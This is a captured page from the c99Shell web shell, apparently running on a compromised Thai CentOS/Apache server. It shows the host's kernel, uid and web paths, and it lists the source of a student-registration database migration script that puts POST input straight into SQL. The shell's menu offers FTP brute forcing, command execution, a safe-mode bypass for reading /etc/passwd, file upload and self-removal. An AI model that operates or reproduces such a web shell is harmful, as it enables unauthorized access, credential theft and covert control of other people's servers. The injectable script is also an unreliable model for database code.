!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/xmigratex/   drwxr-xr-x
Free 52.59 GB of 127.8 GB (41.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     cmp_cnt.php (5.75 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel="stylesheet" type="text/css" href="style.css" />
<?php

    $dbreg 
$_POST["dbreg"];
    
$dbmoreg $_POST["dbmoreg"];
    
$dbppc $_POST["dbppc"];

    
$localhost_s $_POST["localhost_s"];
    
$localhost_u $_POST["localhost_u"];
    
$localhost_p $_POST["localhost_p"];

$ln_reg mysql_connect($localhost_s$localhost_u$localhost_ptrue);
if (!
$ln_reg) {
    echo 
"<font color='#FF0000'>$source_s";
    die(
' Could not connect: ' mysql_error());
    echo 
"</font >";
}else{
    
//echo "Connected $source_s successfully<br>";
}
$db_reg mysql_select_db($dbmoreg$ln_reg);
mysql_query("SET NAMES UTF8"$ln_reg);
mysql_query("SET character_set_results=utf8"$ln_reg);
mysql_query("SET character_set_client=utf8"$ln_reg);
if (!
$db_reg) {
    die (
"Can\'t use $oDB : " mysql_error());
}else{
    
//echo "เชื่อมต่อ $oDB สำเร็จ<br>";
}


//ค้นหาข้อมูลชื่อประเทศในตารางจังหวัด
$sql_cntInPrv "SELECT prvName
FROM $dbmoreg.rg_Province reg
WHERE prvId > 76 AND prvName NOT LIKE 'บึงกาฬ';"
;

if(
$sql_cntInPrv!=''){
    
$result_cntInPrv mysql_query($sql_cntInPrv$ln_reg);
    
$num_cntInPrv mysql_num_rows($result_cntInPrv);
}else{
    
$num_cntInPrv 0;
}

//ค้นหาข้อมูลชื่อประเทศในตารางจังหวัดที่ไม่ซ้ำกับข้อมูลใน ppc
$sql_cntNotInPpc "SELECT prvName
FROM $dbmoreg.rg_Province reg
WHERE prvId > 76 AND prvName NOT LIKE 'บึงกาฬ'
AND reg.prvName NOT
IN (
 SELECT countryName
 FROM $dbppc.Country 
);"
;

if(
$sql_cntNotInPpc!=''){
    
$result_cntNotInPpc mysql_query($sql_cntNotInPpc$ln_reg);
    
$num_cntNotInPpc mysql_num_rows($result_cntNotInPpc);
}else{
    
$num_cntNotInPpc 0;
}
//ค้นหาข้อมูลชื่อประเทศในppc
$sql_cntPpc "SELECT * FROM $dbppc.Country ";
if(
$sql_cntPpc!=''){
    
$result_cntPpc mysql_query($sql_cntPpc$ln_reg);
    
$num_cntPpc mysql_num_rows($result_cntPpc);
}else{
    
$num_cntPpc 0;
}

?>
<table class='tb_1'  width='100%'>
<tr><th class='h2'><?php
echo "<br /> ตรวจสอบข้อมูลชื่อประเทศในตารางจังหวัด <br /><br />";
?></th></tr>
</table>

<table class='tb_1'  width='100%'>
<tr><td align='right' class='h2'>* คัดลอก query executeในphpMyAdmin </td></tr>
<tr><td class='h2'>-- Query 1 : เพิ่มข้อมูลชื่อประเทศในข้อมูลพื้นฐานกลาง
<br />-- &nbsp;&nbsp;&nbsp;&nbsp;
<font size='2' color='#FF0000'>execute query เมื่อพบชื่อประเทศ
ที่ไม่ซ้ำกัน</font>
</td></tr>
<tr><td > 
INSERT INTO <?=$dbppc?>.Country (countryName)
<br />SELECT prvName
<br />FROM <?=$dbmoreg?>.rg_Province reg
<br />WHERE prvId > 76 AND prvName NOT LIKE 'บึงกาฬ'
<br />AND reg.prvName NOT
<br />IN (
 SELECT countryName
 FROM <?=$dbppc?>.Country 
);</td></tr>
<tr><td class='h2'>-- Query 2 : ปรับปรุงข้อมูลประเทศ ในข้อมูลนักศึกษา
<br />-- &nbsp;&nbsp;&nbsp;&nbsp;
<font size='2' color='#FF0000'>execute query เมื่อพบชื่อประเทศในฐานข้อมูลระบบทะเบียนใหม่</font>
</td></tr>
<tr><td >
UPDATE <?=$dbmoreg?>.`rg_StudentDetails` sdt
<br />INNER JOIN <?=$dbmoreg?>.`rg_Province` prv
    ON sdt.sdtCntId LIKE prv.prvId 
<br />INNER JOIN <?=$dbppc?>.`Country` cnt 
    ON prv.prvName LIKE cnt.countryName 
<br />SET sdt.sdtCntId = cnt.countryId;
</td></tr>
<tr><td class='h2'>-- Query 3 : ลบชื่อประเทศ ในข้อมูลจังหวัด
<br />-- &nbsp;&nbsp;&nbsp;&nbsp;
<font size='2' color='#FF0000'>execute query ต่อจาก Query 2 </font>
</td></tr>
<tr><td >
DELETE FROM <?=$dbmoreg?>.`rg_Province`
<br />WHERE prvId > 76 AND prvName NOT LIKE 'บึงกาฬ';</td></tr>
</table>
<br />
<table class='tb_1'  width='100%'>
<tr>
    <td class='h2'>ชื่อประเทศ<br />ในฐานข้อมูลระบบทะเบียนใหม่</td>
    <td class='h2'>ชื่อประเทศ<br />ที่ไม่ซ้ำกัน</td>
    <td class='h2'>ชื่อประเทศ<br />ในฐานข้อมูลพื้นฐานกลาง</td>
</tr>
<tr>
    <td valign='top'>
        <table class='tb_1'  width='100%' >
    <?php
        
if($num_cntInPrv>0){
            
$i=1;
            while (
$row mysql_fetch_assoc($result_cntInPrv)) {
                echo 
"<tr ><td>$i.".$row['prvName'].'</td></tr>';
                
$i++;
            }
        }
    
?>  </table>
    </td>
    <td valign='top'>
        <table class='tb_1'  width='100%'>
    <?php
        
if($num_cntNotInPpc>0){
            
$i=1;
            while (
$row mysql_fetch_assoc($result_cntNotInPpc)) {
                echo 
"<tr ><td>$i.".$row['prvName'].'</td></tr>';
                
$i++;
            }
        }
    
?>  </table>
    </td>
    <td valign='top'>
        <table class='tb_1'  width='100%'>
    <?php
        
if($num_cntPpc>0){
            
$i=1;
            while (
$row mysql_fetch_assoc($result_cntPpc)) {
                echo 
"<tr ><td>$i.".$row['countryName'].'</td></tr>';
                
$i++;
            }
        }
    
?>  </table>
    </td>
</tr>
</table>

<?php


// select student detail from old database

// select student detail from new database join ppc

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0057 ]--